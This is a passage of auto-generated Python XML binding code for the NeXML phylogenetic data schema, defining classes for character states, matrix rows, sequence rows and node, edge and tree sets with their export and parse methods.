self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value self.validate_DNAToken(self.symbol) # validate type DNAToken super(DNAState, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): pass # end class DNAState class AbstractBlock(TaxaLinked): """The AbstractBlock is the superclass for blocks that contain an element structure of type AbstractFormat.""" subclass = None superclass = TaxaLinked def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, valueOf_=None): super(AbstractBlock, self).__init__(about, meta, label, id, otus, ) self.format = format def factory(*args_, **kwargs_): if AbstractBlock.subclass: return AbstractBlock.subclass(*args_, **kwargs_) else: return AbstractBlock(*args_, **kwargs_) factory = staticmethod(factory) def get_format(self): return self.format def set_format(self, format): self.format = format def export(self, outfile, level, namespace_='', name_='AbstractBlock', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractBlock') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractBlock"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractBlock'): super(AbstractBlock, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractBlock') def exportChildren(self, outfile, level, namespace_='', name_='AbstractBlock', fromsubclass_=False): super(AbstractBlock, self).exportChildren(outfile, level, namespace_, name_, True) format_.export(outfile, level, namespace_, name_='format') def hasContent_(self): if ( self.format is not None or super(AbstractBlock, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractBlock'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractBlock, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractBlock, self).exportLiteralChildren(outfile, level, name_) if self.AbstractFormat is not None: showIndent(outfile, level) outfile.write('AbstractFormat=model_.AbstractFormat(\n') self.AbstractFormat.exportLiteral(outfile, level) showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractBlock, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'format': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <format> element') self.set_format(obj_) super(AbstractBlock, self).buildChildren(child_, node, nodeName_, True) # end class AbstractBlock class AbstractObsRow(TaxonLinked): """The AbstractObsRow represents a single row in a matrix. The row must refer to a previously declared otu element by its id attribute (and must have an id itself, may have a label, and may have meta attachments). The row contains multiple cell elements.""" subclass = None superclass = TaxonLinked def __init__(self, about=None, meta=None, label=None, id=None, otu=None, cell=None, set=None, valueOf_=None): super(AbstractObsRow, self).__init__(about, meta, label, id, otu, ) if cell is None: self.cell = [] else: self.cell = cell if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AbstractObsRow.subclass: return AbstractObsRow.subclass(*args_, **kwargs_) else: return AbstractObsRow(*args_, **kwargs_) factory = staticmethod(factory) def get_cell(self): return self.cell def set_cell(self, cell): self.cell = cell def add_cell(self, value): self.cell.append(value) def insert_cell(self, index, value): self.cell[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AbstractObsRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractObsRow') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractObsRow"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractObsRow'): super(AbstractObsRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractObsRow') def exportChildren(self, outfile, level, namespace_='', name_='AbstractObsRow', fromsubclass_=False): super(AbstractObsRow, self).exportChildren(outfile, level, namespace_, name_, True) for cell_ in self.get_cell(): cell_.export(outfile, level, namespace_, name_='cell') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.cell or self.set or super(AbstractObsRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractObsRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractObsRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractObsRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('cell=[\n') level += 1 for cell_ in self.cell: showIndent(outfile, level) outfile.write('model_.AbstractObs(\n') cell_.exportLiteral(outfile, level, name_='AbstractObs') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CellSet(\n') set_.exportLiteral(outfile, level, name_='CellSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractObsRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'cell': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <cell> element') self.cell.append(obj_) elif nodeName_ == 'set': obj_ = CellSet.factory() obj_.build(child_) self.set.append(obj_) super(AbstractObsRow, self).buildChildren(child_, node, nodeName_, True) # end class AbstractObsRow class AbstractSeqRow(TaxonLinked): """The AbstractSeqRow represents a single row in a matrix. The row must refer to a previously declared otu element by its id attribute (and must have an id itself, may have a label, and may have meta attachments). The row contains a single seq element with raw character data.""" subclass = None superclass = TaxonLinked def __init__(self, about=None, meta=None, label=None, id=None, otu=None, seq=None, valueOf_=None): super(AbstractSeqRow, self).__init__(about, meta, label, id, otu, ) self.seq = seq def factory(*args_, **kwargs_): if AbstractSeqRow.subclass: return AbstractSeqRow.subclass(*args_, **kwargs_) else: return AbstractSeqRow(*args_, **kwargs_) factory = staticmethod(factory) def get_seq(self): return self.seq def set_seq(self, seq): self.seq = seq def export(self, outfile, level, namespace_='', name_='AbstractSeqRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractSeqRow') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractSeqRow"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractSeqRow'): super(AbstractSeqRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractSeqRow') def exportChildren(self, outfile, level, namespace_='', name_='AbstractSeqRow', fromsubclass_=False): super(AbstractSeqRow, self).exportChildren(outfile, level, namespace_, name_, True) if self.seq: self.seq.export(outfile, level, namespace_, name_='seq', ) def hasContent_(self): if ( self.seq is not None or super(AbstractSeqRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractSeqRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractSeqRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractSeqRow, self).exportLiteralChildren(outfile, level, name_) if self.seq is not None: showIndent(outfile, level) outfile.write('seq=model_.xs_anySimpleType(\n') self.seq.exportLiteral(outfile, level, name_='seq') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractSeqRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'seq': obj_ = xs_anySimpleType.factory() obj_.build(child_) self.set_seq(obj_) super(AbstractSeqRow, self).buildChildren(child_, node, nodeName_, True) # end class AbstractSeqRow class AbstractUncertainStateSet(AbstractState): """The AbstractUncertainStateSet type is the super-class for an uncertain state set definition. The element has a required AbstractSymbol attribute that in restricted concrete subclasses must be of a sensible type such as a single IUPAC character. It may enclose zero or more AbstractMapping elements to resolve ambiguities.""" subclass = None superclass = AbstractState def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, member=None, valueOf_=None): super(AbstractUncertainStateSet, self).__init__(about, meta, label, id, symbol, ) if member is None: self.member = [] else: self.member = member def factory(*args_, **kwargs_): if AbstractUncertainStateSet.subclass: return AbstractUncertainStateSet.subclass(*args_, **kwargs_) else: return AbstractUncertainStateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_member(self): return self.member def set_member(self, member): self.member = member def add_member(self, value): self.member.append(value) def insert_member(self, index, value): self.member[index] = value def export(self, outfile, level, namespace_='', name_='AbstractUncertainStateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractUncertainStateSet') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractUncertainStateSet"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractUncertainStateSet'): super(AbstractUncertainStateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractUncertainStateSet') def exportChildren(self, outfile, level, namespace_='', name_='AbstractUncertainStateSet', fromsubclass_=False): super(AbstractUncertainStateSet, self).exportChildren(outfile, level, namespace_, name_, True) for member_ in self.get_member(): member_.export(outfile, level, namespace_, name_='member') def hasContent_(self): if ( self.member or super(AbstractUncertainStateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractUncertainStateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractUncertainStateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractUncertainStateSet, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('member=[\n') level += 1 for member_ in self.member: showIndent(outfile, level) outfile.write('model_.AbstractMapping(\n') member_.exportLiteral(outfile, level, name_='AbstractMapping') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractUncertainStateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'member': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <member> element') self.member.append(obj_) super(AbstractUncertainStateSet, self).buildChildren(child_, node, nodeName_, True) # end class AbstractUncertainStateSet class ContinuousMatrixObsRow(AbstractObsRow): """This is a row in a matrix of continuous data as granular obervations.""" subclass = None superclass = AbstractObsRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, cell=None, set=None, valueOf_=None): super(ContinuousMatrixObsRow, self).__init__(about, meta, label, id, otu, cell, set, ) if meta is None: self.meta = [] else: self.meta = meta if cell is None: self.cell = [] else: self.cell = cell if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if ContinuousMatrixObsRow.subclass: return ContinuousMatrixObsRow.subclass(*args_, **kwargs_) else: return ContinuousMatrixObsRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_cell(self): return self.cell def set_cell(self, cell): self.cell = cell def add_cell(self, value): self.cell.append(value) def insert_cell(self, index, value): self.cell[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='ContinuousMatrixObsRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousMatrixObsRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ContinuousMatrixObsRow'): super(ContinuousMatrixObsRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousMatrixObsRow') def exportChildren(self, outfile, level, namespace_='', name_='ContinuousMatrixObsRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for cell_ in self.cell: cell_.export(outfile, level, namespace_, name_='cell') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.cell or self.set or super(ContinuousMatrixObsRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ContinuousMatrixObsRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(ContinuousMatrixObsRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ContinuousMatrixObsRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('cell=[\n') level += 1 for cell_ in self.cell: showIndent(outfile, level) outfile.write('model_.ContinuousObs(\n') cell_.exportLiteral(outfile, level, name_='ContinuousObs') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CellSet(\n') set_.exportLiteral(outfile, level, name_='CellSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(ContinuousMatrixObsRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'cell': obj_ = ContinuousObs.factory() obj_.build(child_) self.cell.append(obj_) elif nodeName_ == 'set': obj_ = CellSet.factory() obj_.build(child_) self.set.append(obj_) # end class ContinuousMatrixObsRow class ContinuousMatrixSeqRow(AbstractSeqRow): """This is a row in a matrix of continuous data as character sequences.""" subclass = None superclass = AbstractSeqRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, seq=None, valueOf_=None): super(ContinuousMatrixSeqRow, self).__init__(about, meta, label, id, otu, seq, ) if meta is None: self.meta = [] else: self.meta = meta self.seq = seq def factory(*args_, **kwargs_): if ContinuousMatrixSeqRow.subclass: return ContinuousMatrixSeqRow.subclass(*args_, **kwargs_) else: return ContinuousMatrixSeqRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_seq(self): return self.seq def set_seq(self, seq): self.seq = seq def validate_ContinuousSeq(self, value): # Validate type ContinuousSeq, a restriction on AbstractTokenList. pass def export(self, outfile, level, namespace_='', name_='ContinuousMatrixSeqRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousMatrixSeqRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ContinuousMatrixSeqRow'): super(ContinuousMatrixSeqRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousMatrixSeqRow') def exportChildren(self, outfile, level, namespace_='', name_='ContinuousMatrixSeqRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.seq is not None: showIndent(outfile, level) outfile.write('<%sseq>%s</%sseq>\n' % (namespace_, self.gds_format_double_list(self.seq, input_name='seq'), namespace_)) def hasContent_(self): if ( self.meta or self.seq is not None or super(ContinuousMatrixSeqRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ContinuousMatrixSeqRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(ContinuousMatrixSeqRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ContinuousMatrixSeqRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.seq is not None: showIndent(outfile, level) outfile.write('seq=%e,\n' % self.seq) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(ContinuousMatrixSeqRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'seq': seq_ = child_.text seq_ = self.gds_validate_double_list(seq_, node, 'seq') self.seq = seq_ self.validate_ContinuousSeq(self.seq) # validate type ContinuousSeq # end class ContinuousMatrixSeqRow class NodeAndRootEdgeAndEdgeSet(AbstractSet): subclass = None superclass = AbstractSet def __init__(self, about=None, meta=None, label=None, id=None, node=None, edge=None, rootedge=None, valueOf_=None): super(NodeAndRootEdgeAndEdgeSet, self).__init__(about, meta, label, id, ) self.node = _cast(None, node) self.edge = _cast(None, edge) self.rootedge = _cast(None, rootedge) pass def factory(*args_, **kwargs_): if NodeAndRootEdgeAndEdgeSet.subclass: return NodeAndRootEdgeAndEdgeSet.subclass(*args_, **kwargs_) else: return NodeAndRootEdgeAndEdgeSet(*args_, **kwargs_) factory = staticmethod(factory) def get_node(self): return self.node def set_node(self, node): self.node = node def get_edge(self): return self.edge def set_edge(self, edge): self.edge = edge def get_rootedge(self): return self.rootedge def set_rootedge(self, rootedge): self.rootedge = rootedge def export(self, outfile, level, namespace_='', name_='NodeAndRootEdgeAndEdgeSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='NodeAndRootEdgeAndEdgeSet') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="NodeAndRootEdgeAndEdgeSet"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='NodeAndRootEdgeAndEdgeSet'): super(NodeAndRootEdgeAndEdgeSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='NodeAndRootEdgeAndEdgeSet') if self.node is not None and 'node' not in already_processed: already_processed.append('node') outfile.write(' node=%s' % (self.gds_format_string(quote_attrib(self.node).encode(ExternalEncoding), input_name='node'), )) if self.edge is not None and 'edge' not in already_processed: already_processed.append('edge') outfile.write(' edge=%s' % (self.gds_format_string(quote_attrib(self.edge).encode(ExternalEncoding), input_name='edge'), )) if self.rootedge is not None and 'rootedge' not in already_processed: already_processed.append('rootedge') outfile.write(' rootedge=%s' % (self.gds_format_string(quote_attrib(self.rootedge).encode(ExternalEncoding), input_name='rootedge'), )) def exportChildren(self, outfile, level, namespace_='', name_='NodeAndRootEdgeAndEdgeSet', fromsubclass_=False): super(NodeAndRootEdgeAndEdgeSet, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(NodeAndRootEdgeAndEdgeSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='NodeAndRootEdgeAndEdgeSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.node is not None and 'node' not in already_processed: already_processed.append('node') showIndent(outfile, level) outfile.write('node = "%s",\n' % (self.node,)) if self.edge is not None and 'edge' not in already_processed: already_processed.append('edge') showIndent(outfile, level) outfile.write('edge = "%s",\n' % (self.edge,)) if self.rootedge is not None and 'rootedge' not in already_processed: already_processed.append('rootedge') showIndent(outfile, level) outfile.write('rootedge = "%s",\n' % (self.rootedge,)) super(NodeAndRootEdgeAndEdgeSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(NodeAndRootEdgeAndEdgeSet, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('node', node) if value is not None and 'node' not in already_processed: already_processed.append('node') self.node = value value = find_attr_value_('edge', node) if value is not None and 'edge' not in already_processed: already_processed.append('edge') self.edge = value value = find_attr_value_('rootedge', node) if value is not None and 'rootedge' not in already_processed: already_processed.append('rootedge') self.rootedge = value super(NodeAndRootEdgeAndEdgeSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(NodeAndRootEdgeAndEdgeSet, self).buildChildren(child_, node, nodeName_, True) pass # end class NodeAndRootEdgeAndEdgeSet class TreeAndNetworkSet(AbstractSet): subclass = None superclass = AbstractSet def __init__(self, about=None, meta=None, label=None, id=None, tree=None, network=None, valueOf_=None): super(TreeAndNetworkSet, self).__init__(about, meta, label, id, ) self.tree = _cast(None, tree) self.network = _cast(None, network) pass def factory(*args_, **kwargs_): if TreeAndNetworkSet.subclass: return TreeAndNetworkSet.subclass(*args_, **kwargs_) else: return TreeAndNetworkSet(*args_, **kwargs_) factory = staticmethod(factory) def get_tree(self): return self.tree def set_tree(self, tree): self.tree = tree def get_network(self): return self.network def set_network(self, network): self.network = network def export(self, outfile, level, namespace_='', name_='TreeAndNetworkSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='TreeAndNetworkSet') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="TreeAndNetworkSet"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='TreeAndNetworkSet'): super(TreeAndNetworkSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='TreeAndNetworkSet') if self.tree is not None and 'tree' not in already_processed: already_processed.append('tree') outfile.write(' tree=%s' % (self.gds_format_string(quote_attrib(self.tree).encode(ExternalEncoding), input_name='tree'), )) if self.network is not None and 'network' not in already_processed: already_processed.append('network') outfile.write(' network=%s' % (self.gds_format_string(quote_attrib(self.network).encode(ExternalEncoding), input_name='network'), )) def exportChildren(self, outfile, level, namespace_='', name_='TreeAndNetworkSet', fromsubclass_=False): super(TreeAndNetworkSet, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(TreeAndNetworkSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='TreeAndNetworkSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.tree is not None and 'tree' not in already_processed: already_processed.append('tree') showIndent(outfile, level) outfile.write('tree = "%s",\n' % (self.tree,)) if self.network is not None and 'network' not in already_processed: already_processed.append('network') showIndent(outfile, level) outfile.write('network = "%s",\n' % (self.network,)) super(TreeAndNetworkSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(TreeAndNetworkSet, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('tree', node) if value is not None and 'tree' not in already_processed: already_processed.append('tree') self.tree = value value = find_attr_value_('network', node) if value is not None and 'network' not in already_processed: already_processed.append('network') self.network = value super(TreeAndNetworkSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(TreeAndNetworkSet, self).buildChildren(child_, node, nodeName_, True) pass # end class TreeAndNetworkSet class CellSet(AbstractSet): subclass = None superclass = AbstractSet def __init__(self, about=None, meta=None, label=None, id=None, cell=None, 